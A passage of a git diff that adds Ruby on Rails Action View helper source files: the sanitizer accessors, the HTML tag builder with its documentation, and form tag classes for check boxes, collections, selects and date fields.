+      #   strip_links('<a href="http://www.rubyonrails.org">Ruby on Rails</a>')
+      #   # => Ruby on Rails
+      #
+      #   strip_links('Please e-mail me at <a href="mailto:me@email.com">me@email.com</a>.')
+      #   # => Please e-mail me at me@email.com.
+      #
+      #   strip_links('Blog: <a href="http://www.myblog.com/" class="nav" target=\"_blank\">Visit</a>.')
+      #   # => Blog: Visit.
+      #
+      #   strip_links('<<a href="https://example.org">malformed & link</a>')
+      #   # => &lt;malformed &amp; link
+      def strip_links(html)
+        self.class.link_sanitizer.sanitize(html)
+      end
+
+      module ClassMethods #:nodoc:
+        attr_writer :full_sanitizer, :link_sanitizer, :white_list_sanitizer
+
+        # Vendors the full, link and white list sanitizers.
+        # Provided strictly for compatibility and can be removed in Rails 5.1.
+        def sanitizer_vendor
+          Rails::Html::Sanitizer
+        end
+
+        def sanitized_allowed_tags
+          sanitizer_vendor.white_list_sanitizer.allowed_tags
+        end
+
+        def sanitized_allowed_attributes
+          sanitizer_vendor.white_list_sanitizer.allowed_attributes
+        end
+
+        # Gets the Rails::Html::FullSanitizer instance used by +strip_tags+. Replace with
+        # any object that responds to +sanitize+.
+        #
+        #   class Application < Rails::Application
+        #     config.action_view.full_sanitizer = MySpecialSanitizer.new
+        #   end
+        #
+        def full_sanitizer
+          @full_sanitizer ||= sanitizer_vendor.full_sanitizer.new
+        end
+
+        # Gets the Rails::Html::LinkSanitizer instance used by +strip_links+.
+        # Replace with any object that responds to +sanitize+.
+        #
+        #   class Application < Rails::Application
+        #     config.action_view.link_sanitizer = MySpecialSanitizer.new
+        #   end
+        #
+        def link_sanitizer
+          @link_sanitizer ||= sanitizer_vendor.link_sanitizer.new
+        end
+
+        # Gets the Rails::Html::WhiteListSanitizer instance used by sanitize and +sanitize_css+.
+        # Replace with any object that responds to +sanitize+.
+        #
+        #   class Application < Rails::Application
+        #     config.action_view.white_list_sanitizer = MySpecialSanitizer.new
+        #   end
+        #
+        def white_list_sanitizer
+          @white_list_sanitizer ||= sanitizer_vendor.white_list_sanitizer.new
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tag_helper.rb b/actionview/lib/action_view/helpers/tag_helper.rb
new file mode 100644
index 0000000000..a64d7e396e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tag_helper.rb
@@ -0,0 +1,313 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/output_safety"
+require "set"
+
+module ActionView
+  # = Action View Tag Helpers
+  module Helpers #:nodoc:
+    # Provides methods to generate HTML tags programmatically both as a modern
+    # HTML5 compliant builder style and legacy XHTML compliant tags.
+    module TagHelper
+      extend ActiveSupport::Concern
+      include CaptureHelper
+      include OutputSafetyHelper
+
+      BOOLEAN_ATTRIBUTES = %w(allowfullscreen async autofocus autoplay checked
+                              compact controls declare default defaultchecked
+                              defaultmuted defaultselected defer disabled
+                              enabled formnovalidate hidden indeterminate inert
+                              ismap itemscope loop multiple muted nohref
+                              noresize noshade novalidate nowrap open
+                              pauseonexit readonly required reversed scoped
+                              seamless selected sortable truespeed typemustmatch
+                              visible).to_set
+
+      BOOLEAN_ATTRIBUTES.merge(BOOLEAN_ATTRIBUTES.map(&:to_sym))
+
+      TAG_PREFIXES = ["aria", "data", :aria, :data].to_set
+
+      PRE_CONTENT_STRINGS             = Hash.new { "" }
+      PRE_CONTENT_STRINGS[:textarea]  = "\n"
+      PRE_CONTENT_STRINGS["textarea"] = "\n"
+
+      class TagBuilder #:nodoc:
+        include CaptureHelper
+        include OutputSafetyHelper
+
+        VOID_ELEMENTS = %i(area base br col embed hr img input keygen link meta param source track wbr).to_set
+
+        def initialize(view_context)
+          @view_context = view_context
+        end
+
+        def tag_string(name, content = nil, escape_attributes: true, **options, &block)
+          content = @view_context.capture(self, &block) if block_given?
+          if VOID_ELEMENTS.include?(name) && content.nil?
+            "<#{name.to_s.dasherize}#{tag_options(options, escape_attributes)}>".html_safe
+          else
+            content_tag_string(name.to_s.dasherize, content || "", options, escape_attributes)
+          end
+        end
+
+        def content_tag_string(name, content, options, escape = true)
+          tag_options = tag_options(options, escape) if options
+          content     = ERB::Util.unwrapped_html_escape(content) if escape
+          "<#{name}#{tag_options}>#{PRE_CONTENT_STRINGS[name]}#{content}</#{name}>".html_safe
+        end
+
+        def tag_options(options, escape = true)
+          return if options.blank?
+          output = "".dup
+          sep    = " "
+          options.each_pair do |key, value|
+            if TAG_PREFIXES.include?(key) && value.is_a?(Hash)
+              value.each_pair do |k, v|
+                next if v.nil?
+                output << sep
+                output << prefix_tag_option(key, k, v, escape)
+              end
+            elsif BOOLEAN_ATTRIBUTES.include?(key)
+              if value
+                output << sep
+                output << boolean_tag_option(key)
+              end
+            elsif !value.nil?
+              output << sep
+              output << tag_option(key, value, escape)
+            end
+          end
+          output unless output.empty?
+        end
+
+        def boolean_tag_option(key)
+          %(#{key}="#{key}")
+        end
+
+        def tag_option(key, value, escape)
+          if value.is_a?(Array)
+            value = escape ? safe_join(value, " ".freeze) : value.join(" ".freeze)
+          else
+            value = escape ? ERB::Util.unwrapped_html_escape(value) : value.to_s
+          end
+          %(#{key}="#{value.gsub('"'.freeze, '&quot;'.freeze)}")
+        end
+
+        private
+          def prefix_tag_option(prefix, key, value, escape)
+            key = "#{prefix}-#{key.to_s.dasherize}"
+            unless value.is_a?(String) || value.is_a?(Symbol) || value.is_a?(BigDecimal)
+              value = value.to_json
+            end
+            tag_option(key, value, escape)
+          end
+
+          def respond_to_missing?(*args)
+            true
+          end
+
+          def method_missing(called, *args, &block)
+            tag_string(called, *args, &block)
+          end
+      end
+
+      # Returns an HTML tag.
+      #
+      # === Building HTML tags
+      #
+      # Builds HTML5 compliant tags with a tag proxy. Every tag can be built with:
+      #
+      #   tag.<tag name>(optional content, options)
+      #
+      # where tag name can be e.g. br, div, section, article, or any tag really.
+      #
+      # ==== Passing content
+      #
+      # Tags can pass content to embed within it:
+      #
+      #   tag.h1 'All titles fit to print' # => <h1>All titles fit to print</h1>
+      #
+      #   tag.div tag.p('Hello world!')  # => <div><p>Hello world!</p></div>
+      #
+      # Content can also be captured with a block, which is useful in templates:
+      #
+      #   <%= tag.p do %>
+      #     The next great American novel starts here.
+      #   <% end %>
+      #   # => <p>The next great American novel starts here.</p>
+      #
+      # ==== Options
+      #
+      # Use symbol keyed options to add attributes to the generated tag.
+      #
+      #   tag.section class: %w( kitties puppies )
+      #   # => <section class="kitties puppies"></section>
+      #
+      #   tag.section id: dom_id(@post)
+      #   # => <section id="<generated dom id>"></section>
+      #
+      # Pass +true+ for any attributes that can render with no values, like +disabled+ and +readonly+.
+      #
+      #   tag.input type: 'text', disabled: true
+      #   # => <input type="text" disabled="disabled">
+      #
+      # HTML5 <tt>data-*</tt> attributes can be set with a single +data+ key
+      # pointing to a hash of sub-attributes.
+      #
+      # To play nicely with JavaScript conventions, sub-attributes are dasherized.
+      #
+      #   tag.article data: { user_id: 123 }
+      #   # => <article data-user-id="123"></article>
+      #
+      # Thus <tt>data-user-id</tt> can be accessed as <tt>dataset.userId</tt>.
+      #
+      # Data attribute values are encoded to JSON, with the exception of strings, symbols and
+      # BigDecimals.
+      # This may come in handy when using jQuery's HTML5-aware <tt>.data()</tt>
+      # from 1.4.3.
+      #
+      #   tag.div data: { city_state: %w( Chigaco IL ) }
+      #   # => <div data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]"></div>
+      #
+      # The generated attributes are escaped by default. This can be disabled using
+      # +escape_attributes+.
+      #
+      #   tag.img src: 'open & shut.png'
+      #   # => <img src="open &amp; shut.png">
+      #
+      #   tag.img src: 'open & shut.png', escape_attributes: false
+      #   # => <img src="open & shut.png">
+      #
+      # The tag builder respects
+      # {HTML5 void elements}[https://www.w3.org/TR/html5/syntax.html#void-elements]
+      # if no content is passed, and omits closing tags for those elements.
+      #
+      #   # A standard element:
+      #   tag.div # => <div></div>
+      #
+      #   # A void element:
+      #   tag.br  # => <br>
+      #
+      # === Legacy syntax
+      #
+      # The following format is for legacy syntax support. It will be deprecated in future versions of Rails.
+      #
+      #   tag(name, options = nil, open = false, escape = true)
+      #
+      # It returns an empty HTML tag of type +name+ which by default is XHTML
+      # compliant. Set +open+ to true to create an open tag compatible
+      # with HTML 4.0 and below. Add HTML attributes by passing an attributes
+      # hash to +options+. Set +escape+ to false to disable attribute value
+      # escaping.
+      #
+      # ==== Options
+      #
+      # You can use symbols or strings for the attribute names.
+      #
+      # Use +true+ with boolean attributes that can render with no value, like
+      # +disabled+ and +readonly+.
+      #
+      # HTML5 <tt>data-*</tt> attributes can be set with a single +data+ key
+      # pointing to a hash of sub-attributes.
+      #
+      # ==== Examples
+      #
+      #   tag("br")
+      #   # => <br />
+      #
+      #   tag("br", nil, true)
+      #   # => <br>
+      #
+      #   tag("input", type: 'text', disabled: true)
+      #   # => <input type="text" disabled="disabled" />
+      #
+      #   tag("input", type: 'text', class: ["strong", "highlight"])
+      #   # => <input class="strong highlight" type="text" />
+      #
+      #   tag("img", src: "open & shut.png")
+      #   # => <img src="open &amp; shut.png" />
+      #
+      #   tag("img", {src: "open &amp; shut.png"}, false, false)
+      #   # => <img src="open &amp; shut.png" />
+      #
+      #   tag("div", data: {name: 'Stephen', city_state: %w(Chicago IL)})
+      #   # => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
+      def tag(name = nil, options = nil, open = false, escape = true)
+        if name.nil?
+          tag_builder
+        else
+          "<#{name}#{tag_builder.tag_options(options, escape) if options}#{open ? ">" : " />"}".html_safe
+        end
+      end
+
+      # Returns an HTML block tag of type +name+ surrounding the +content+. Add
+      # HTML attributes by passing an attributes hash to +options+.
+      # Instead of passing the content as an argument, you can also use a block
+      # in which case, you pass your +options+ as the second parameter.
+      # Set escape to false to disable attribute value escaping.
+      # Note: this is legacy syntax, see +tag+ method description for details.
+      #
+      # ==== Options
+      # The +options+ hash can be used with attributes with no value like (<tt>disabled</tt> and
+      # <tt>readonly</tt>), which you can give a value of true in the +options+ hash. You can use
+      # symbols or strings for the attribute names.
+      #
+      # ==== Examples
+      #   content_tag(:p, "Hello world!")
+      #    # => <p>Hello world!</p>
+      #   content_tag(:div, content_tag(:p, "Hello world!"), class: "strong")
+      #    # => <div class="strong"><p>Hello world!</p></div>
+      #   content_tag(:div, "Hello world!", class: ["strong", "highlight"])
+      #    # => <div class="strong highlight">Hello world!</div>
+      #   content_tag("select", options, multiple: true)
+      #    # => <select multiple="multiple">...options...</select>
+      #
+      #   <%= content_tag :div, class: "strong" do -%>
+      #     Hello world!
+      #   <% end -%>
+      #    # => <div class="strong">Hello world!</div>
+      def content_tag(name, content_or_options_with_block = nil, options = nil, escape = true, &block)
+        if block_given?
+          options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
+          tag_builder.content_tag_string(name, capture(&block), options, escape)
+        else
+          tag_builder.content_tag_string(name, content_or_options_with_block, options, escape)
+        end
+      end
+
+      # Returns a CDATA section with the given +content+. CDATA sections
+      # are used to escape blocks of text containing characters which would
+      # otherwise be recognized as markup. CDATA sections begin with the string
+      # <tt><![CDATA[</tt> and end with (and may not contain) the string <tt>]]></tt>.
+      #
+      #   cdata_section("<hello world>")
+      #   # => <![CDATA[<hello world>]]>
+      #
+      #   cdata_section(File.read("hello_world.txt"))
+      #   # => <![CDATA[<hello from a text file]]>
+      #
+      #   cdata_section("hello]]>world")
+      #   # => <![CDATA[hello]]]]><![CDATA[>world]]>
+      def cdata_section(content)
+        splitted = content.to_s.gsub(/\]\]\>/, "]]]]><![CDATA[>")
+        "<![CDATA[#{splitted}]]>".html_safe
+      end
+
+      # Returns an escaped version of +html+ without affecting existing escaped entities.
+      #
+      #   escape_once("1 < 2 &amp; 3")
+      #   # => "1 &lt; 2 &amp; 3"
+      #
+      #   escape_once("&lt;&lt; Accept & Checkout")
+      #   # => "&lt;&lt; Accept &amp; Checkout"
+      def escape_once(html)
+        ERB::Util.html_escape_once(html)
+      end
+
+      private
+        def tag_builder
+          @tag_builder ||= TagBuilder.new(self)
+        end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags.rb b/actionview/lib/action_view/helpers/tags.rb
new file mode 100644
index 0000000000..2552ebba4e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags #:nodoc:
+      extend ActiveSupport::Autoload
+
+      eager_autoload do
+        autoload :Base
+        autoload :Translator
+        autoload :CheckBox
+        autoload :CollectionCheckBoxes
+        autoload :CollectionRadioButtons
+        autoload :CollectionSelect
+        autoload :ColorField
+        autoload :DateField
+        autoload :DateSelect
+        autoload :DatetimeField
+        autoload :DatetimeLocalField
+        autoload :DatetimeSelect
+        autoload :EmailField
+        autoload :FileField
+        autoload :GroupedCollectionSelect
+        autoload :HiddenField
+        autoload :Label
+        autoload :MonthField
+        autoload :NumberField
+        autoload :PasswordField
+        autoload :RadioButton
+        autoload :RangeField
+        autoload :SearchField
+        autoload :Select
+        autoload :TelField
+        autoload :TextArea
+        autoload :TextField
+        autoload :TimeField
+        autoload :TimeSelect
+        autoload :TimeZoneSelect
+        autoload :UrlField
+        autoload :WeekField
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/base.rb b/actionview/lib/action_view/helpers/tags/base.rb
new file mode 100644
index 0000000000..bbb8c4d224
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/base.rb
@@ -0,0 +1,192 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class Base # :nodoc:
+        include Helpers::ActiveModelInstanceTag, Helpers::TagHelper, Helpers::FormTagHelper
+        include FormOptionsHelper
+
+        attr_reader :object
+
+        def initialize(object_name, method_name, template_object, options = {})
+          @object_name, @method_name = object_name.to_s.dup, method_name.to_s.dup
+          @template_object = template_object
+
+          @object_name.sub!(/\[\]$/, "") || @object_name.sub!(/\[\]\]$/, "]")
+          @object = retrieve_object(options.delete(:object))
+          @skip_default_ids = options.delete(:skip_default_ids)
+          @allow_method_names_outside_object = options.delete(:allow_method_names_outside_object)
+          @options = options
+
+          if Regexp.last_match
+            @generate_indexed_names = true
+            @auto_index = retrieve_autoindex(Regexp.last_match.pre_match)
+          else
+            @generate_indexed_names = false
+            @auto_index = nil
+          end
+        end
+
+        # This is what child classes implement.
+        def render
+          raise NotImplementedError, "Subclasses must implement a render method"
+        end
+
+        private
+
+          def value(object)
+            if @allow_method_names_outside_object
+              object.public_send @method_name if object && object.respond_to?(@method_name)
+            else
+              object.public_send @method_name if object
+            end
+          end
+
+          def value_before_type_cast(object)
+            unless object.nil?
+              method_before_type_cast = @method_name + "_before_type_cast"
+
+              if value_came_from_user?(object) && object.respond_to?(method_before_type_cast)
+                object.public_send(method_before_type_cast)
+              else
+                value(object)
+              end
+            end
+          end
+
+          def value_came_from_user?(object)
+            method_name = "#{@method_name}_came_from_user?"
+            !object.respond_to?(method_name) || object.public_send(method_name)
+          end
+
+          def retrieve_object(object)
+            if object
+              object
+            elsif @template_object.instance_variable_defined?("@#{@object_name}")
+              @template_object.instance_variable_get("@#{@object_name}")
+            end
+          rescue NameError
+            # As @object_name may contain the nested syntax (item[subobject]) we need to fallback to nil.
+            nil
+          end
+
+          def retrieve_autoindex(pre_match)
+            object = self.object || @template_object.instance_variable_get("@#{pre_match}")
+            if object && object.respond_to?(:to_param)
+              object.to_param
+            else
+              raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
+            end
+          end
+
+          def add_default_name_and_id_for_value(tag_value, options)
+            if tag_value.nil?
+              add_default_name_and_id(options)
+            else
+              specified_id = options["id"]
+              add_default_name_and_id(options)
+
+              if specified_id.blank? && options["id"].present?
+                options["id"] += "_#{sanitized_value(tag_value)}"
+              end
+            end
+          end
+
+          def add_default_name_and_id(options)
+            index = name_and_id_index(options)
+            options["name"] = options.fetch("name") { tag_name(options["multiple"], index) }
+
+            unless skip_default_ids?
+              options["id"] = options.fetch("id") { tag_id(index) }
+              if namespace = options.delete("namespace")
+                options["id"] = options["id"] ? "#{namespace}_#{options['id']}" : namespace
+              end
+            end
+          end
+
+          def tag_name(multiple = false, index = nil)
+            # a little duplication to construct less strings
+            case
+            when @object_name.empty?
+              "#{sanitized_method_name}#{"[]" if multiple}"
+            when index
+              "#{@object_name}[#{index}][#{sanitized_method_name}]#{"[]" if multiple}"
+            else
+              "#{@object_name}[#{sanitized_method_name}]#{"[]" if multiple}"
+            end
+          end
+
+          def tag_id(index = nil)
+            # a little duplication to construct less strings
+            case
+            when @object_name.empty?
+              sanitized_method_name.dup
+            when index
+              "#{sanitized_object_name}_#{index}_#{sanitized_method_name}"
+            else
+              "#{sanitized_object_name}_#{sanitized_method_name}"
+            end
+          end
+
+          def sanitized_object_name
+            @sanitized_object_name ||= @object_name.gsub(/\]\[|[^-a-zA-Z0-9:.]/, "_").sub(/_$/, "")
+          end
+
+          def sanitized_method_name
+            @sanitized_method_name ||= @method_name.sub(/\?$/, "")
+          end
+
+          def sanitized_value(value)
+            value.to_s.gsub(/\s/, "_").gsub(/[^-\w]/, "").downcase
+          end
+
+          def select_content_tag(option_tags, options, html_options)
+            html_options = html_options.stringify_keys
+            add_default_name_and_id(html_options)
+
+            if placeholder_required?(html_options)
+              raise ArgumentError, "include_blank cannot be false for a required field." if options[:include_blank] == false
+              options[:include_blank] ||= true unless options[:prompt]
+            end
+
+            value = options.fetch(:selected) { value(object) }
+            select = content_tag("select", add_options(option_tags, options, value), html_options)
+
+            if html_options["multiple"] && options.fetch(:include_hidden, true)
+              tag("input", disabled: html_options["disabled"], name: html_options["name"], type: "hidden", value: "") + select
+            else
+              select
+            end
+          end
+
+          def placeholder_required?(html_options)
+            # See https://html.spec.whatwg.org/multipage/forms.html#attr-select-required
+            html_options["required"] && !html_options["multiple"] && html_options.fetch("size", 1).to_i == 1
+          end
+
+          def add_options(option_tags, options, value = nil)
+            if options[:include_blank]
+              option_tags = tag_builder.content_tag_string("option", options[:include_blank].kind_of?(String) ? options[:include_blank] : nil, value: "") + "\n" + option_tags
+            end
+            if value.blank? && options[:prompt]
+              option_tags = tag_builder.content_tag_string("option", prompt_text(options[:prompt]), value: "") + "\n" + option_tags
+            end
+            option_tags
+          end
+
+          def name_and_id_index(options)
+            if options.key?("index")
+              options.delete("index") || ""
+            elsif @generate_indexed_names
+              @auto_index || ""
+            end
+          end
+
+          def skip_default_ids?
+            @skip_default_ids
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/check_box.rb b/actionview/lib/action_view/helpers/tags/check_box.rb
new file mode 100644
index 0000000000..c7d8cd0e97
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/check_box.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require_relative "checkable"
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class CheckBox < Base #:nodoc:
+        include Checkable
+
+        def initialize(object_name, method_name, template_object, checked_value, unchecked_value, options)
+          @checked_value   = checked_value
+          @unchecked_value = unchecked_value
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          options = @options.stringify_keys
+          options["type"]     = "checkbox"
+          options["value"]    = @checked_value
+          options["checked"] = "checked" if input_checked?(object, options)
+
+          if options["multiple"]
+            add_default_name_and_id_for_value(@checked_value, options)
+            options.delete("multiple")
+          else
+            add_default_name_and_id(options)
+          end
+
+          include_hidden = options.delete("include_hidden") { true }
+          checkbox = tag("input", options)
+
+          if include_hidden
+            hidden = hidden_field_for_checkbox(options)
+            hidden + checkbox
+          else
+            checkbox
+          end
+        end
+
+        private
+
+          def checked?(value)
+            case value
+            when TrueClass, FalseClass
+              value == !!@checked_value
+            when NilClass
+              false
+            when String
+              value == @checked_value
+            else
+              if value.respond_to?(:include?)
+                value.include?(@checked_value)
+              else
+                value.to_i == @checked_value.to_i
+              end
+            end
+          end
+
+          def hidden_field_for_checkbox(options)
+            @unchecked_value ? tag("input", options.slice("name", "disabled", "form").merge!("type" => "hidden", "value" => @unchecked_value)) : "".html_safe
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/checkable.rb b/actionview/lib/action_view/helpers/tags/checkable.rb
new file mode 100644
index 0000000000..f2f4a655a3
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/checkable.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      module Checkable # :nodoc:
+        def input_checked?(object, options)
+          if options.has_key?("checked")
+            checked = options.delete "checked"
+            checked == true || checked == "checked"
+          else
+            checked?(value(object))
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
new file mode 100644
index 0000000000..91c1135d20
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/collection_check_boxes.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require_relative "collection_helpers"
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class CollectionCheckBoxes < Base # :nodoc:
+        include CollectionHelpers
+
+        class CheckBoxBuilder < Builder # :nodoc:
+          def check_box(extra_html_options = {})
+            html_options = extra_html_options.merge(@input_html_options)
+            html_options[:multiple] = true
+            html_options[:skip_default_ids] = false
+            @template_object.check_box(@object_name, @method_name, html_options, @value, nil)
+          end
+        end
+
+        def render(&block)
+          render_collection_for(CheckBoxBuilder, &block)
+        end
+
+        private
+
+          def render_component(builder)
+            builder.check_box + builder.label
+          end
+
+          def hidden_field_name
+            "#{super}[]"
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/collection_helpers.rb b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
new file mode 100644
index 0000000000..e1ad11bff8
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/collection_helpers.rb
@@ -0,0 +1,119 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      module CollectionHelpers # :nodoc:
+        class Builder # :nodoc:
+          attr_reader :object, :text, :value
+
+          def initialize(template_object, object_name, method_name, object,
+                         sanitized_attribute_name, text, value, input_html_options)
+            @template_object = template_object
+            @object_name = object_name
+            @method_name = method_name
+            @object = object
+            @sanitized_attribute_name = sanitized_attribute_name
+            @text = text
+            @value = value
+            @input_html_options = input_html_options
+          end
+
+          def label(label_html_options = {}, &block)
+            html_options = @input_html_options.slice(:index, :namespace).merge(label_html_options)
+            html_options[:for] ||= @input_html_options[:id] if @input_html_options[:id]
+
+            @template_object.label(@object_name, @sanitized_attribute_name, @text, html_options, &block)
+          end
+        end
+
+        def initialize(object_name, method_name, template_object, collection, value_method, text_method, options, html_options)
+          @collection   = collection
+          @value_method = value_method
+          @text_method  = text_method
+          @html_options = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        private
+
+          def instantiate_builder(builder_class, item, value, text, html_options)
+            builder_class.new(@template_object, @object_name, @method_name, item,
+                              sanitize_attribute_name(value), text, value, html_options)
+          end
+
+          # Generate default options for collection helpers, such as :checked and
+          # :disabled.
+          def default_html_options_for_collection(item, value)
+            html_options = @html_options.dup
+
+            [:checked, :selected, :disabled, :readonly].each do |option|
+              current_value = @options[option]
+              next if current_value.nil?
+
+              accept = if current_value.respond_to?(:call)
+                current_value.call(item)
+              else
+                Array(current_value).map(&:to_s).include?(value.to_s)
+              end
+
+              if accept
+                html_options[option] = true
+              elsif option == :checked
+                html_options[option] = false
+              end
+            end
+
+            html_options[:object] = @object
+            html_options
+          end
+
+          def sanitize_attribute_name(value)
+            "#{sanitized_method_name}_#{sanitized_value(value)}"
+          end
+
+          def render_collection
+            @collection.map do |item|
+              value = value_for_collection(item, @value_method)
+              text  = value_for_collection(item, @text_method)
+              default_html_options = default_html_options_for_collection(item, value)
+              additional_html_options = option_html_attributes(item)
+
+              yield item, value, text, default_html_options.merge(additional_html_options)
+            end.join.html_safe
+          end
+
+          def render_collection_for(builder_class, &block)
+            options = @options.stringify_keys
+            rendered_collection = render_collection do |item, value, text, default_html_options|
+              builder = instantiate_builder(builder_class, item, value, text, default_html_options)
+
+              if block_given?
+                @template_object.capture(builder, &block)
+              else
+                render_component(builder)
+              end
+            end
+
+            # Prepend a hidden field to make sure something will be sent back to the
+            # server if all radio buttons are unchecked.
+            if options.fetch("include_hidden", true)
+              hidden_field + rendered_collection
+            else
+              rendered_collection
+            end
+          end
+
+          def hidden_field
+            hidden_name = @html_options[:name] || hidden_field_name
+            @template_object.hidden_field_tag(hidden_name, "", id: nil)
+          end
+
+          def hidden_field_name
+            "#{tag_name(false, @options[:index])}"
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb b/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb
new file mode 100644
index 0000000000..0b0482f74e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require_relative "collection_helpers"
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class CollectionRadioButtons < Base # :nodoc:
+        include CollectionHelpers
+
+        class RadioButtonBuilder < Builder # :nodoc:
+          def radio_button(extra_html_options = {})
+            html_options = extra_html_options.merge(@input_html_options)
+            html_options[:skip_default_ids] = false
+            @template_object.radio_button(@object_name, @method_name, @value, html_options)
+          end
+        end
+
+        def render(&block)
+          render_collection_for(RadioButtonBuilder, &block)
+        end
+
+        private
+
+          def render_component(builder)
+            builder.radio_button + builder.label
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/collection_select.rb b/actionview/lib/action_view/helpers/tags/collection_select.rb
new file mode 100644
index 0000000000..ef1d4c8d1e
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/collection_select.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class CollectionSelect < Base #:nodoc:
+        def initialize(object_name, method_name, template_object, collection, value_method, text_method, options, html_options)
+          @collection   = collection
+          @value_method = value_method
+          @text_method  = text_method
+          @html_options = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          option_tags_options = {
+            selected: @options.fetch(:selected) { value(@object) },
+            disabled: @options[:disabled]
+          }
+
+          select_content_tag(
+            options_from_collection_for_select(@collection, @value_method, @text_method, option_tags_options),
+            @options, @html_options
+          )
+        end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/color_field.rb b/actionview/lib/action_view/helpers/tags/color_field.rb
new file mode 100644
index 0000000000..8e698ef922
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/color_field.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class ColorField < TextField # :nodoc:
+        def render
+          options = @options.stringify_keys
+          options["value"] ||= validate_color_string(value(object))
+          @options = options
+          super
+        end
+
+        private
+
+          def validate_color_string(string)
+            regex = /#[0-9a-fA-F]{6}/
+            if regex.match(string)
+              string.downcase
+            else
+              "#000000"
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/date_field.rb b/actionview/lib/action_view/helpers/tags/date_field.rb
new file mode 100644
index 0000000000..b17a907651
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/date_field.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class DateField < DatetimeField # :nodoc:
+        private
+
+          def format_date(value)
+            value.try(:strftime, "%Y-%m-%d")
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/date_select.rb b/actionview/lib/action_view/helpers/tags/date_select.rb
new file mode 100644
index 0000000000..13c0515974
--- /dev/null
+++ b/actionview/lib/action_view/helpers/tags/date_select.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/time/calculations"
+
+module ActionView
+  module Helpers
+    module Tags # :nodoc:
+      class DateSelect < Base # :nodoc:
+        def initialize(object_name, method_name, template_object, options, html_options)
+          @html_options = html_options
+
+          super(object_name, method_name, template_object, options)
+        end
+
+        def render
+          error_wrapping(datetime_selector(@options, @html_options).send("select_#{select_type}").html_safe)
+        end
+
+        class << self
+          def select_type
+            @select_type ||= name.split("::").last.sub("Select", "").downcase
+          end
+        end
+
+        private
+
+          def select_type
+            self.class.select_type
+          end
+
+          def datetime_selector(options, html_options)
+            datetime = options.fetch(:selected) { value(object) || default_datetime(options) }
+            @auto_index ||= nil
+
+            options = options.dup
+            options[:field_name]           = @method_name
+            options[:include_position]     = true
+            options[:prefix]             ||= @object_name
+            options[:index]                = @auto_index if @auto_index && !options.has_key?(:index)
+
+            DateTimeSelector.new(datetime, options, html_options)
+          end
+
+          def default_datetime(options)
+            return if options[:include_blank] || options[:prompt]
+
+            case options[:default]
+            when nil
+              Time.current
+            when Date, Time
+              options[:default]
+            else
+              default = options[:default].dup
+
+              # Rename :minute and :second to :min and :sec
+              default[:min] ||= default[:minute]
+              default[:sec] ||= default[:second]
+
+              time = Time.current
+
+              [:year, :month, :day, :hour, :min, :sec].each do |key|
+                default[key] ||= time.send(key)
+              end
+
+              Time.utc(
+                default[:year], default[:month], default[:day],
+                default[:hour], default[:min], default[:sec]
+              )
+            end
+          end
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/tags/datetime_field.rb b/actionview/lib/action_view/helpers/tags/datetime_field.rb
new file mode 100644
index 0000000000..0556566130
--- /dev/null
